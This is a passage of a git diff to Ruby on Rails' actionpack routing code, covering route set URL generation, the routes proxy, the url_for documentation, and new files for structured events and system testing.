+            end
+
+            def polymorphic_path(record_or_hash_or_array, options = {})
+              @_proxy.polymorphic_path(record_or_hash_or_array, options)
+            end
+
+            def _routes; @_proxy._routes; end
             def url_options; {}; end
           end
 
           url_helpers = routes.named_routes.url_helpers_module
 
-          # Make named_routes available in the module singleton
-          # as well, so one can do:
+          # Make named_routes available in the module singleton as well, so one can do:
           # Rails.application.routes.url_helpers.posts_path
           extend url_helpers
 
-          # Any class that includes this module will get all
-          # named routes...
+          # Any class that includes this module will get all named routes...
           include url_helpers
 
           if supports_path
@@ -486,12 +607,11 @@ def url_options; {}; end
 
           # plus a singleton class method called _routes ...
           included do
-            singleton_class.send(:redefine_method, :_routes) { routes }
+            redefine_singleton_method(:_routes) { routes }
           end
 
-          # And an instance method _routes. Note that
-          # UrlFor (included in this module) add extra
-          # conveniences for working with @_routes.
+          # And an instance method _routes. Note that UrlFor (included in this module) add
+          # extra conveniences for working with @_routes.
           define_method(:_routes) { @_routes || routes }
 
           define_method(:_generate_paths_by_default) do
@@ -499,6 +619,20 @@ def url_options; {}; end
           end
 
           private :_generate_paths_by_default
+
+          # If the module is included more than once (for example, in a subclass of an
+          # ancestor that includes the module), ensure that the `_routes` singleton and
+          # instance methods return the desired route set by including a new copy of the
+          # module (recursively if necessary). Note that this method is called for each
+          # inclusion, whereas the above `included` block is run only for the initial
+          # inclusion of each copy.
+          def self.included(base)
+            super
+            if base.respond_to?(:_routes) && !base._routes.equal?(@_proxy._routes)
+              @dup_for_reinclude ||= self.dup
+              base.include @dup_for_reinclude
+            end
+          end
         end
       end
 
@@ -506,7 +640,7 @@ def empty?
         routes.empty?
       end
 
-      def add_route(mapping, path_ast, name, anchor)
+      def add_route(mapping, name)
         raise ArgumentError, "Invalid route name: '#{name}'" unless name.blank? || name.to_s.match(/^[_a-z]\w*$/i)
 
         if name && named_routes[name]
@@ -514,38 +648,68 @@ def add_route(mapping, path_ast, name, anchor)
             "You may have defined two routes with the same name using the `:as` option, or " \
             "you may be overriding a route already defined by a resource with the same naming. " \
             "For the latter, you can restrict the routes created with `resources` as explained here: \n" \
-            "http://guides.rubyonrails.org/routing.html#restricting-the-routes-created"
+            "https://guides.rubyonrails.org/routing.html#restricting-the-routes-created"
         end
 
         route = @set.add_route(name, mapping)
         named_routes[name] = route if name
 
         if route.segment_keys.include?(:controller)
-          ActiveSupport::Deprecation.warn(<<-MSG.squish)
+          ActionDispatch.deprecator.warn(<<-MSG.squish)
             Using a dynamic :controller segment in a route is deprecated and
-            will be removed in Rails 5.1.
+            will be removed in Rails 9.0.
           MSG
         end
 
         if route.segment_keys.include?(:action)
-          ActiveSupport::Deprecation.warn(<<-MSG.squish)
+          ActionDispatch.deprecator.warn(<<-MSG.squish)
             Using a dynamic :action segment in a route is deprecated and
-            will be removed in Rails 5.1.
+            will be removed in Rails 9.0.
           MSG
         end
 
         route
       end
 
-      class Generator
-        PARAMETERIZE = lambda do |name, value|
-          if name == :controller
-            value
+      def add_polymorphic_mapping(klass, options, &block)
+        @polymorphic_mappings[klass] = CustomUrlHelper.new(klass, options, &block)
+      end
+
+      def add_url_helper(name, options, &block)
+        named_routes.add_url_helper(name, options, &block)
+      end
+
+      class CustomUrlHelper
+        attr_reader :name, :defaults, :block
+
+        def initialize(name, defaults, &block)
+          @name = name
+          @defaults = defaults
+          @block = block
+        end
+
+        def call(t, args, only_path = false)
+          options = args.extract_options!
+          url = t.full_url_for(eval_block(t, args, options))
+
+          if only_path
+            "/" + url.partition(%r{(?<!/)/(?!/)}).last
           else
-            value.to_param
+            url
           end
         end
 
+        private
+          def eval_block(t, args, options)
+            t.instance_exec(*args, merge_defaults(options), &block)
+          end
+
+          def merge_defaults(options)
+            defaults ? defaults.merge(options) : options
+          end
+      end
+
+      class Generator
         attr_reader :options, :recall, :set, :named_route
 
         def initialize(named_route, options, recall, set)
@@ -577,14 +741,14 @@ def use_recall_for(key)
         end
 
         def normalize_options!
-          # If an explicit :controller was given, always make :action explicit
-          # too, so that action expiry works as expected for things like
+          # If an explicit :controller was given, always make :action explicit too, so
+          # that action expiry works as expected for things like
           #
-          #   generate({controller: 'content'}, {controller: 'content', action: 'show'})
+          #     generate({controller: 'content'}, {controller: 'content', action: 'show'})
           #
-          # (the above is from the unit tests). In the above case, because the
-          # controller was explicitly given, but no action, the action is implied to
-          # be "index", not the recalled action of "show".
+          # (the above is from the unit tests). In the above case, because the controller
+          # was explicitly given, but no action, the action is implied to be "index", not
+          # the recalled action of "show".
 
           if options[:controller]
             options[:action]     ||= "index"
@@ -596,10 +760,9 @@ def normalize_options!
           end
         end
 
-        # This pulls :controller, :action, and :id out of the recall.
-        # The recall key is only used if there is no key in the options
-        # or if the key in the options is identical. If any of
-        # :controller, :action or :id is not found, don't pull any
+        # This pulls :controller, :action, and :id out of the recall. The recall key is
+        # only used if there is no key in the options or if the key in the options is
+        # identical. If any of :controller, :action or :id is not found, don't pull any
         # more keys from the recall.
         def normalize_controller_action_id!
           use_recall_for(:controller) || return
@@ -607,8 +770,8 @@ def normalize_controller_action_id!
           use_recall_for(:id)
         end
 
-        # if the current controller is "foo/bar/baz" and controller: "baz/bat"
-        # is specified, the controller becomes "foo/baz/bat"
+        # if the current controller is "foo/bar/baz" and controller: "baz/bat" is
+        # specified, the controller becomes "foo/baz/bat"
         def use_relative_controller!
           if !named_route && different_controller? && !controller.start_with?("/")
             old_parts = current_controller.split("/")
@@ -621,7 +784,7 @@ def use_relative_controller!
         # Remove leading slashes from controllers
         def normalize_controller!
           if controller
-            if controller.start_with?("/".freeze)
+            if controller.start_with?("/")
               @options[:controller] = controller[1..-1]
             else
               @options[:controller] = controller
@@ -629,10 +792,10 @@ def normalize_controller!
           end
         end
 
-        # Generates a path from routes, returns [path, params].
-        # If no route is generated the formatter will raise ActionController::UrlGenerationError
+        # Generates a path from routes, returns a RouteWithParams or MissingRoute.
+        # MissingRoute will raise ActionController::UrlGenerationError.
         def generate
-          @set.formatter.generate(named_route, options, recall, PARAMETERIZE)
+          @set.formatter.generate(named_route, options, recall)
         end
 
         def different_controller?
@@ -650,45 +813,46 @@ def segment_keys
           end
       end
 
-      # Generate the path indicated by the arguments, and return an array of
-      # the keys that were not used to generate it.
+      # Generate the path indicated by the arguments, and return an array of the keys
+      # that were not used to generate it.
       def extra_keys(options, recall = {})
         generate_extras(options, recall).last
       end
 
       def generate_extras(options, recall = {})
-        route_key = options.delete :use_route
-        path, params = generate(route_key, options, recall)
-        return path, params.keys
+        if recall
+          options = options.merge(_recall: recall)
+        end
+
+        route_name = options.delete :use_route
+        generator = generate(route_name, options, recall)
+        path_info = path_for(options, route_name, [])
+        [URI(path_info).path, generator.params.except(:_recall).keys]
       end
 
-      def generate(route_key, options, recall = {})
-        Generator.new(route_key, options, recall, self).generate
+      def generate(route_name, options, recall = {}, method_name = nil)
+        Generator.new(route_name, options, recall, self).generate
       end
       private :generate
 
       RESERVED_OPTIONS = [:host, :protocol, :port, :subdomain, :domain, :tld_length,
                           :trailing_slash, :anchor, :params, :only_path, :script_name,
-                          :original_script_name, :relative_url_root]
+                          :original_script_name]
 
       def optimize_routes_generation?
         default_url_options.empty?
       end
 
       def find_script_name(options)
-        options.delete(:script_name) || find_relative_url_root(options) || ""
-      end
-
-      def find_relative_url_root(options)
-        options.delete(:relative_url_root) || relative_url_root
+        options.delete(:script_name) || relative_url_root || ""
       end
 
-      def path_for(options, route_name = nil)
-        url_for(options, route_name, PATH)
+      def path_for(options, route_name = nil, reserved = RESERVED_OPTIONS)
+        url_for(options, route_name, PATH, nil, reserved)
       end
 
-      # The +options+ argument must be a hash whose keys are *symbols*.
-      def url_for(options, route_name = nil, url_strategy = UNKNOWN)
+      # The `options` argument must be a hash whose keys are **symbols**.
+      def url_for(options, route_name = nil, url_strategy = UNKNOWN, method_name = nil, reserved = RESERVED_OPTIONS)
         options = default_url_options.merge options
 
         user = password = nil
@@ -708,12 +872,23 @@ def url_for(options, route_name = nil, url_strategy = UNKNOWN)
         end
 
         path_options = options.dup
-        RESERVED_OPTIONS.each { |ro| path_options.delete ro }
+        reserved.each { |ro| path_options.delete ro }
+
+        route_with_params = generate(route_name, path_options, recall)
+        path = route_with_params.path(method_name)
+
+        if options[:trailing_slash] && !options[:format] && !path.end_with?("/")
+          path += "/"
+        end
 
-        path, params = generate(route_name, path_options, recall)
+        params = route_with_params.params
 
         if options.key? :params
-          params.merge! options[:params]
+          if options[:params].respond_to?(:to_hash)
+            params.merge! options[:params]
+          else
+            params[:params] = options[:params]
+          end
         end
 
         options[:path]        = path
@@ -733,7 +908,7 @@ def call(env)
 
       def recognize_path(path, environment = {})
         method = (environment[:method] || "GET").to_s.upcase
-        path = Journey::Router::Utils.normalize_path(path) unless path =~ %r{://}
+        path = Journey::Router::Utils.normalize_path(path) unless path&.include?("://")
         extras = environment[:extras] || {}
 
         begin
@@ -743,16 +918,19 @@ def recognize_path(path, environment = {})
         end
 
         req = make_request(env)
+        recognize_path_with_request(req, path, extras)
+      end
+
+      def recognize_path_with_request(req, path, extras, raise_on_missing: true)
         @router.recognize(req) do |route, params|
           params.merge!(extras)
           params.each do |key, value|
             if value.is_a?(String)
               value = value.dup.force_encoding(Encoding::BINARY)
-              params[key] = URI.parser.unescape(value)
+              params[key] = URI::RFC2396_PARSER.unescape(value)
             end
           end
-          old_params = req.path_parameters
-          req.path_parameters = old_params.merge params
+          req.path_parameters = params
           app = route.app
           if app.matches?(req) && app.dispatcher?
             begin
@@ -762,12 +940,16 @@ def recognize_path(path, environment = {})
             end
 
             return req.path_parameters
+          elsif app.matches?(req) && app.engine?
+            path_parameters = app.rack_app.routes.recognize_path_with_request(req, path, extras, raise_on_missing: false)
+            return path_parameters if path_parameters
           end
         end
 
-        raise ActionController::RoutingError, "No route matches #{path.inspect}"
+        if raise_on_missing
+          raise ActionController::RoutingError, "No route matches #{path.inspect}"
+        end
       end
     end
-    # :startdoc:
   end
 end
diff --git a/actionpack/lib/action_dispatch/routing/routes_proxy.rb b/actionpack/lib/action_dispatch/routing/routes_proxy.rb
index ee847eaeed42d..44868c5db6663 100644
--- a/actionpack/lib/action_dispatch/routing/routes_proxy.rb
+++ b/actionpack/lib/action_dispatch/routing/routes_proxy.rb
@@ -1,16 +1,21 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/core_ext/array/extract_options"
 
 module ActionDispatch
   module Routing
-    class RoutesProxy #:nodoc:
+    class RoutesProxy # :nodoc:
       include ActionDispatch::Routing::UrlFor
 
       attr_accessor :scope, :routes
       alias :_routes :routes
 
-      def initialize(routes, scope, helpers)
+      def initialize(routes, scope, helpers, script_namer = nil)
         @routes, @scope = routes, scope
         @helpers = helpers
+        @script_namer = script_namer
       end
 
       def url_options
@@ -19,24 +24,44 @@ def url_options
         end
       end
 
-      def respond_to_missing?(method, include_private = false)
+    private
+      def respond_to_missing?(method, _)
         super || @helpers.respond_to?(method)
       end
 
       def method_missing(method, *args)
         if @helpers.respond_to?(method)
-          self.class.class_eval <<-RUBY, __FILE__, __LINE__ + 1
-            def #{method}(*args)
-              options = args.extract_options!
-              args << url_options.merge((options || {}).symbolize_keys)
-              @helpers.#{method}(*args)
-            end
-          RUBY
-          send(method, *args)
+          options = args.extract_options!
+          options = url_options.merge((options || {}).symbolize_keys)
+
+          if @script_namer
+            options[:script_name] = merge_script_names(
+              options[:script_name],
+              @script_namer.call(options)
+            )
+          end
+
+          args << options
+          @helpers.public_send(method, *args)
         else
           super
         end
       end
+
+      # Keeps the part of the script name provided by the global context via
+      # [ENV]("SCRIPT_NAME"), which `mount` doesn't know about since it depends on the
+      # specific request, but use our script name resolver for the mount point
+      # dependent part.
+      def merge_script_names(previous_script_name, new_script_name)
+        return new_script_name unless previous_script_name
+        new_script_name = new_script_name.chomp("/")
+
+        resolved_parts = new_script_name.count("/")
+        previous_parts = previous_script_name.count("/")
+        context_parts = previous_parts - resolved_parts + 1
+
+        (previous_script_name.split("/").slice(0, context_parts).join("/")) + new_script_name
+      end
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/routing/url_for.rb b/actionpack/lib/action_dispatch/routing/url_for.rb
index 3e564f13d86bd..43e89e3e6eab7 100644
--- a/actionpack/lib/action_dispatch/routing/url_for.rb
+++ b/actionpack/lib/action_dispatch/routing/url_for.rb
@@ -1,86 +1,93 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
   module Routing
-    # In <tt>config/routes.rb</tt> you define URL-to-controller mappings, but the reverse
+    # # Action Dispatch Routing UrlFor
+    #
+    # In `config/routes.rb` you define URL-to-controller mappings, but the reverse
     # is also possible: a URL can be generated from one of your routing definitions.
     # URL generation functionality is centralized in this module.
     #
-    # See ActionDispatch::Routing for general information about routing and routes.rb.
-    #
-    # <b>Tip:</b> If you need to generate URLs from your models or some other place,
-    # then ActionController::UrlFor is what you're looking for. Read on for
-    # an introduction. In general, this module should not be included on its own,
-    # as it is usually included by url_helpers (as in Rails.application.routes.url_helpers).
-    #
-    # == URL generation from parameters
-    #
-    # As you may know, some functions, such as ActionController::Base#url_for
-    # and ActionView::Helpers::UrlHelper#link_to, can generate URLs given a set
-    # of parameters. For example, you've probably had the chance to write code
-    # like this in one of your views:
-    #
-    #   <%= link_to('Click here', controller: 'users',
-    #           action: 'new', message: 'Welcome!') %>
-    #   # => <a href="/users/new?message=Welcome%21">Click here</a>
-    #
-    # link_to, and all other functions that require URL generation functionality,
-    # actually use ActionController::UrlFor under the hood. And in particular,
-    # they use the ActionController::UrlFor#url_for method. One can generate
-    # the same path as the above example by using the following code:
-    #
-    #   include UrlFor
-    #   url_for(controller: 'users',
-    #           action: 'new',
-    #           message: 'Welcome!',
-    #           only_path: true)
-    #   # => "/users/new?message=Welcome%21"
-    #
-    # Notice the <tt>only_path: true</tt> part. This is because UrlFor has no
-    # information about the website hostname that your Rails app is serving. So if you
-    # want to include the hostname as well, then you must also pass the <tt>:host</tt>
-    # argument:
-    #
-    #   include UrlFor
-    #   url_for(controller: 'users',
-    #           action: 'new',
-    #           message: 'Welcome!',
-    #           host: 'www.example.com')
-    #   # => "http://www.example.com/users/new?message=Welcome%21"
-    #
-    # By default, all controllers and views have access to a special version of url_for,
-    # that already knows what the current hostname is. So if you use url_for in your
-    # controllers or your views, then you don't need to explicitly pass the <tt>:host</tt>
-    # argument.
-    #
-    # For convenience reasons, mailers provide a shortcut for ActionController::UrlFor#url_for.
-    # So within mailers, you only have to type +url_for+ instead of 'ActionController::UrlFor#url_for'
-    # in full. However, mailers don't have hostname information, and you still have to provide
-    # the +:host+ argument or set the default host that will be used in all mailers using the
-    # configuration option +config.action_mailer.default_url_options+. For more information on
-    # url_for in mailers read the ActionMailer#Base documentation.
-    #
-    #
-    # == URL generation for named routes
+    # See ActionDispatch::Routing for general information about routing and
+    # `config/routes.rb`.
+    #
+    # **Tip:** If you need to generate URLs from your models or some other place,
+    # then ActionDispatch::Routing::UrlFor is what you're looking for. Read on for
+    # an introduction. In general, this module should not be included on its own, as
+    # it is usually included by `url_helpers` (as in
+    # `Rails.application.routes.url_helpers`).
+    #
+    # ## URL generation from parameters
+    #
+    # As you may know, some functions, such as `ActionController::Base#url_for` and
+    # ActionView::Helpers::UrlHelper#link_to, can generate URLs given a set of
+    # parameters. For example, you've probably had the chance to write code like
+    # this in one of your views:
+    #
+    #     <%= link_to('Click here', controller: 'users',
+    #             action: 'new', message: 'Welcome!') %>
+    #     # => <a href="/users/new?message=Welcome%21">Click here</a>
+    #
+    # `link_to`, and all other functions that require URL generation functionality,
+    # actually use ActionDispatch::Routing::UrlFor under the hood. And in
+    # particular, they use the ActionDispatch::Routing::UrlFor#url_for method. One
+    # can generate the same path as the above example by using the following code:
+    #
+    #     include ActionDispatch::Routing::UrlFor
+    #     url_for(controller: 'users',
+    #             action: 'new',
+    #             message: 'Welcome!',
+    #             only_path: true)
+    #     # => "/users/new?message=Welcome%21"
+    #
+    # Notice the `only_path: true` part. This is because UrlFor has no information
+    # about the website hostname that your Rails app is serving. So if you want to
+    # include the hostname as well, then you must also pass the `:host` argument:
+    #
+    #     include UrlFor
+    #     url_for(controller: 'users',
+    #             action: 'new',
+    #             message: 'Welcome!',
+    #             host: 'www.example.com')
+    #     # => "http://www.example.com/users/new?message=Welcome%21"
+    #
+    # By default, all controllers and views have access to a special version of
+    # `url_for`, that already knows what the current hostname is. So if you use
+    # `url_for` in your controllers or your views, then you don't need to explicitly
+    # pass the `:host` argument.
+    #
+    # For convenience, mailers also include ActionDispatch::Routing::UrlFor. So
+    # within mailers, you can use url_for. However, mailers cannot access incoming
+    # web requests in order to derive hostname information, so you have to provide
+    # the `:host` option or set the default host using `default_url_options`. For
+    # more information on url_for in mailers see the ActionMailer::Base
+    # documentation.
+    #
+    # ## URL generation for named routes
     #
     # UrlFor also allows one to access methods that have been auto-generated from
     # named routes. For example, suppose that you have a 'users' resource in your
-    # <tt>config/routes.rb</tt>:
+    # `config/routes.rb`:
     #
-    #   resources :users
+    #     resources :users
     #
-    # This generates, among other things, the method <tt>users_path</tt>. By default,
-    # this method is accessible from your controllers, views and mailers. If you need
-    # to access this auto-generated method from other places (such as a model), then
-    # you can do that by including Rails.application.routes.url_helpers in your class:
+    # This generates, among other things, the method `users_path`. By default, this
+    # method is accessible from your controllers, views, and mailers. If you need to
+    # access this auto-generated method from other places (such as a model), then
+    # you can do that by including `Rails.application.routes.url_helpers` in your
+    # class:
     #
-    #   class User < ActiveRecord::Base
-    #     include Rails.application.routes.url_helpers
+    #     class User < ActiveRecord::Base
+    #       include Rails.application.routes.url_helpers
     #
-    #     def base_uri
-    #       user_path(self)
+    #       def base_uri
+    #         user_path(self)
+    #       end
     #     end
-    #   end
     #
-    #   User.find(1).base_uri # => "/users/1"
+    #     User.find(1).base_uri # => "/users/1"
     #
     module UrlFor
       extend ActiveSupport::Concern
@@ -101,83 +108,85 @@ module UrlFor
         include(*_url_for_modules) if respond_to?(:_url_for_modules)
       end
 
-      def initialize(*)
+      def initialize(...)
         @_routes = nil
         super
       end
 
-      # Hook overridden in controller to add request information
-      # with `default_url_options`. Application logic should not
-      # go into url_options.
+      # Hook overridden in controller to add request information with
+      # `default_url_options`. Application logic should not go into url_options.
       def url_options
         default_url_options
       end
 
-      # Generate a url based on the options provided, default_url_options and the
-      # routes defined in routes.rb. The following options are supported:
+      # Generate a URL based on the options provided, `default_url_options`, and the
+      # routes defined in `config/routes.rb`. The following options are supported:
       #
-      # * <tt>:only_path</tt> - If true, the relative url is returned. Defaults to +false+.
-      # * <tt>:protocol</tt> - The protocol to connect to. Defaults to 'http'.
-      # * <tt>:host</tt> - Specifies the host the link should be targeted at.
-      #   If <tt>:only_path</tt> is false, this option must be
-      #   provided either explicitly, or via +default_url_options+.
-      # * <tt>:subdomain</tt> - Specifies the subdomain of the link, using the +tld_length+
-      #   to split the subdomain from the host.
-      #   If false, removes all subdomains from the host part of the link.
-      # * <tt>:domain</tt> - Specifies the domain of the link, using the +tld_length+
-      #   to split the domain from the host.
-      # * <tt>:tld_length</tt> - Number of labels the TLD id composed of, only used if
-      #   <tt>:subdomain</tt> or <tt>:domain</tt> are supplied. Defaults to
-      #   <tt>ActionDispatch::Http::URL.tld_length</tt>, which in turn defaults to 1.
-      # * <tt>:port</tt> - Optionally specify the port to connect to.
-      # * <tt>:anchor</tt> - An anchor name to be appended to the path.
-      # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2009/"
-      # * <tt>:script_name</tt> - Specifies application path relative to domain root. If provided, prepends application path.
+      # *   `:only_path` - If true, the relative URL is returned. Defaults to `false`.
+      # *   `:protocol` - The protocol to connect to. Defaults to `"http"`.
+      # *   `:host` - Specifies the host the link should be targeted at. If
+      #     `:only_path` is false, this option must be provided either explicitly, or
+      #     via `default_url_options`.
+      # *   `:subdomain` - Specifies the subdomain of the link, using the `tld_length`
+      #     to split the subdomain from the host. If false, removes all subdomains
+      #     from the host part of the link.
+      # *   `:domain` - Specifies the domain of the link, using the `tld_length` to
+      #     split the domain from the host.
+      # *   `:tld_length` - Number of labels the TLD id composed of, only used if
+      #     `:subdomain` or `:domain` are supplied. Defaults to
+      #     `ActionDispatch::Http::URL.tld_length`, which in turn defaults to 1.
+      # *   `:port` - Optionally specify the port to connect to.
+      # *   `:anchor` - An anchor name to be appended to the path.
+      # *   `:params` - The query parameters to be appended to the path.
+      # *   `:path_params` - The query parameters that will only be used for the named
+      #     dynamic segments of path. If unused, they will be discarded.
+      # *   `:trailing_slash` - If true, adds a trailing slash, as in
+      #     `"/archive/2009/"`.
+      # *   `:script_name` - Specifies application path relative to domain root. If
+      #     provided, prepends application path.
       #
-      # Any other key (<tt>:controller</tt>, <tt>:action</tt>, etc.) given to
-      # +url_for+ is forwarded to the Routes module.
       #
-      #    url_for controller: 'tasks', action: 'testing', host: 'somehost.org', port: '8080'
-      #    # => 'http://somehost.org:8080/tasks/testing'
-      #    url_for controller: 'tasks', action: 'testing', host: 'somehost.org', anchor: 'ok', only_path: true
-      #    # => '/tasks/testing#ok'
-      #    url_for controller: 'tasks', action: 'testing', trailing_slash: true
-      #    # => 'http://somehost.org/tasks/testing/'
-      #    url_for controller: 'tasks', action: 'testing', host: 'somehost.org', number: '33'
-      #    # => 'http://somehost.org/tasks/testing?number=33'
-      #    url_for controller: 'tasks', action: 'testing', host: 'somehost.org', script_name: "/myapp"
-      #    # => 'http://somehost.org/myapp/tasks/testing'
-      #    url_for controller: 'tasks', action: 'testing', host: 'somehost.org', script_name: "/myapp", only_path: true
-      #    # => '/myapp/tasks/testing'
+      # Any other key (`:controller`, `:action`, etc.) given to `url_for` is forwarded
+      # to the Routes module.
+      #
+      #     url_for controller: 'tasks', action: 'testing', host: 'somehost.org', port: '8080'
+      #     # => 'http://somehost.org:8080/tasks/testing'
+      #     url_for controller: 'tasks', action: 'testing', host: 'somehost.org', anchor: 'ok', only_path: true
+      #     # => '/tasks/testing#ok'
+      #     url_for controller: 'tasks', action: 'testing', trailing_slash: true
+      #     # => 'http://somehost.org/tasks/testing/'
+      #     url_for controller: 'tasks', action: 'testing', host: 'somehost.org', number: '33'
+      #     # => 'http://somehost.org/tasks/testing?number=33'
+      #     url_for controller: 'tasks', action: 'testing', host: 'somehost.org', script_name: "/myapp"
+      #     # => 'http://somehost.org/myapp/tasks/testing'
+      #     url_for controller: 'tasks', action: 'testing', host: 'somehost.org', script_name: "/myapp", only_path: true
+      #     # => '/myapp/tasks/testing'
       #
       # Missing routes keys may be filled in from the current request's parameters
-      # (e.g. +:controller+, +:action+, +:id+ and any other parameters that are
-      # placed in the path). Given that the current action has been reached
-      # through `GET /users/1`:
+      # (e.g. `:controller`, `:action`, `:id`, and any other parameters that are
+      # placed in the path). Given that the current action has been reached through
+      # `GET /users/1`:
       #
-      #   url_for(only_path: true)                        # => '/users/1'
-      #   url_for(only_path: true, action: 'edit')        # => '/users/1/edit'
-      #   url_for(only_path: true, action: 'edit', id: 2) # => '/users/2/edit'
+      #     url_for(only_path: true)                        # => '/users/1'
+      #     url_for(only_path: true, action: 'edit')        # => '/users/1/edit'
+      #     url_for(only_path: true, action: 'edit', id: 2) # => '/users/2/edit'
       #
-      # Notice that no +:id+ parameter was provided to the first +url_for+ call
-      # and the helper used the one from the route's path. Any path parameter
-      # implicitly used by +url_for+ can always be overwritten like shown on the
-      # last +url_for+ calls.
+      # Notice that no `:id` parameter was provided to the first `url_for` call and
+      # the helper used the one from the route's path. Any path parameter implicitly
+      # used by `url_for` can always be overwritten like shown on the last `url_for`
+      # calls.
       def url_for(options = nil)
+        full_url_for(options)
+      end
+
+      def full_url_for(options = nil) # :nodoc:
         case options
         when nil
           _routes.url_for(url_options.symbolize_keys)
-        when Hash
-          route_name = options.delete :use_route
-          _routes.url_for(options.symbolize_keys.reverse_merge!(url_options),
-                         route_name)
-        when ActionController::Parameters
-          unless options.permitted?
-            raise ArgumentError.new(ActionDispatch::Routing::INSECURE_URL_PARAMETERS_MESSAGE)
-          end
+        when Hash, ActionController::Parameters
           route_name = options.delete :use_route
-          _routes.url_for(options.to_h.symbolize_keys.
-                          reverse_merge!(url_options), route_name)
+          merged_url_options = options.to_h.symbolize_keys.reverse_merge!(url_options)
+          _routes.url_for(merged_url_options, route_name)
         when String
           options
         when Symbol
@@ -192,14 +201,34 @@ def url_for(options = nil)
         end
       end
 
-      protected
+      # Allows calling direct or regular named route.
+      #
+      #     resources :buckets
+      #
+      #     direct :recordable do |recording|
+      #       route_for(:bucket, recording.bucket)
+      #     end
+      #
+      #     direct :threadable do |threadable|
+      #       route_for(:recordable, threadable.parent)
+      #     end
+      #
+      # This maintains the context of the original caller on whether to return a path
+      # or full URL, e.g:
+      #
+      #     threadable_path(threadable)  # => "/buckets/1"
+      #     threadable_url(threadable)   # => "http://example.com/buckets/1"
+      #
+      def route_for(name, *args)
+        public_send(:"#{name}_url", *args)
+      end
 
+      protected
         def optimize_routes_generation?
           _routes.optimize_routes_generation? && default_url_options.empty?
         end
 
       private
-
         def _with_routes(routes) # :doc:
           old_routes, @_routes = @_routes, routes
           yield
diff --git a/actionpack/lib/action_dispatch/structured_event_subscriber.rb b/actionpack/lib/action_dispatch/structured_event_subscriber.rb
new file mode 100644
index 0000000000000..6cb3ccea2ff54
--- /dev/null
+++ b/actionpack/lib/action_dispatch/structured_event_subscriber.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  class StructuredEventSubscriber < ActiveSupport::StructuredEventSubscriber # :nodoc:
+    def redirect(event)
+      payload = event.payload
+      status = payload[:status]
+
+      emit_event("action_dispatch.redirect", {
+        location: payload[:location],
+        status: status,
+        status_name: Rack::Utils::HTTP_STATUS_CODES[status],
+        duration_ms: event.duration.round(2),
+        source_location: payload[:source_location]
+      })
+    end
+  end
+end
+
+ActionDispatch::StructuredEventSubscriber.attach_to :action_dispatch
diff --git a/actionpack/lib/action_dispatch/system_test_case.rb b/actionpack/lib/action_dispatch/system_test_case.rb
new file mode 100644
index 0000000000000..8f294f299c36d
--- /dev/null
+++ b/actionpack/lib/action_dispatch/system_test_case.rb
@@ -0,0 +1,206 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+gem "capybara", ">= 3.26"
+
+require "capybara/dsl"
+require "capybara/minitest"
+require "action_controller"
+require "action_dispatch/system_testing/driver"
+require "action_dispatch/system_testing/browser"
+require "action_dispatch/system_testing/server"
+require "action_dispatch/system_testing/test_helpers/screenshot_helper"
+require "action_dispatch/system_testing/test_helpers/setup_and_teardown"
+
+module ActionDispatch
+  # # System Testing
+  #
+  # System tests let you test applications in the browser. Because system tests
+  # use a real browser experience, you can test all of your JavaScript easily from
+  # your test suite.
+  #
+  # To create a system test in your application, extend your test class from
+  # `ApplicationSystemTestCase`. System tests use Capybara as a base and allow you
+  # to configure the settings through the `application_system_test_case.rb` file,
+  # which is created when you generate your first system test.
+  #
+  # Here is an example system test:
+  #
+  #     require "application_system_test_case"
+  #
+  #     class Users::CreateTest < ApplicationSystemTestCase
+  #       test "adding a new user" do
+  #         visit users_path
+  #         click_on 'New User'
+  #
+  #         fill_in 'Name', with: 'Arya'
+  #         click_on 'Create User'
+  #
+  #         assert_text 'Arya'
+  #       end
+  #     end
+  #
+  # When generating system tests, an
+  # `application_system_test_case.rb` file will also be generated containing the
+  # base class for system testing. This is where you can change the driver, add
+  # Capybara settings, and other configuration for your system tests.
+  #
+  #     require "test_helper"
+  #
+  #     class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  #       driven_by :selenium, using: :chrome, screen_size: [1400, 1400]
+  #     end
+  #
+  # By default, `ActionDispatch::SystemTestCase` is driven by the Selenium driver,
+  # with the Chrome browser, and a browser size of 1400x1400.
+  #
+  # Changing the driver configuration options is easy. Let's say you want to use
+  # the Firefox browser instead of Chrome. In your
+  # `application_system_test_case.rb` file add the following:
+  #
+  #     require "test_helper"
+  #
+  #     class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  #       driven_by :selenium, using: :firefox
+  #     end
+  #
+  # `driven_by` has a required argument for the driver name. The keyword arguments
+  # are `:using` for the browser and `:screen_size` to change the size of the
+  # browser screen. These two options are not applicable for headless drivers and
+  # will be silently ignored if passed.
+  #
+  # Headless browsers such as headless Chrome and headless Firefox are also
+  # supported. You can use these browsers by setting the `:using` argument to
+  # `:headless_chrome` or `:headless_firefox`.
+  #
+  # To use a headless driver, like Cuprite, update your Gemfile to use Cuprite
+  # instead of Selenium and then declare the driver name in the
+  # `application_system_test_case.rb` file. In this case, you would leave out the
+  # `:using` option because the driver is headless, but you can still use
+  # `:screen_size` to change the size of the browser screen, also you can use
+  # `:options` to pass options supported by the driver. Please refer to your
+  # driver documentation to learn about supported options.
+  #
+  #     require "test_helper"
+  #     require "capybara/cuprite"
+  #
+  #     class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  #       driven_by :cuprite, screen_size: [1400, 1400], options:
+  #         { js_errors: true }
+  #     end
+  #
+  # Some drivers require browser capabilities to be passed as a block instead of
+  # through the `options` hash.
+  #
+  # As an example, if you want to add mobile emulation on chrome, you'll have to
+  # create an instance of selenium's `Chrome::Options` object and add capabilities
+  # with a block.
+  #
+  # The block will be passed an instance of `<Driver>::Options` where you can
+  # define the capabilities you want. Please refer to your driver documentation to
+  # learn about supported options.
+  #
+  #     class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  #       driven_by :selenium, using: :chrome, screen_size: [1024, 768] do |driver_option|
+  #         driver_option.add_emulation(device_name: 'iPhone 6')
+  #         driver_option.add_extension('path/to/chrome_extension.crx')
+  #       end
+  #     end
+  #
+  # Because `ActionDispatch::SystemTestCase` is a shim between Capybara and Rails,
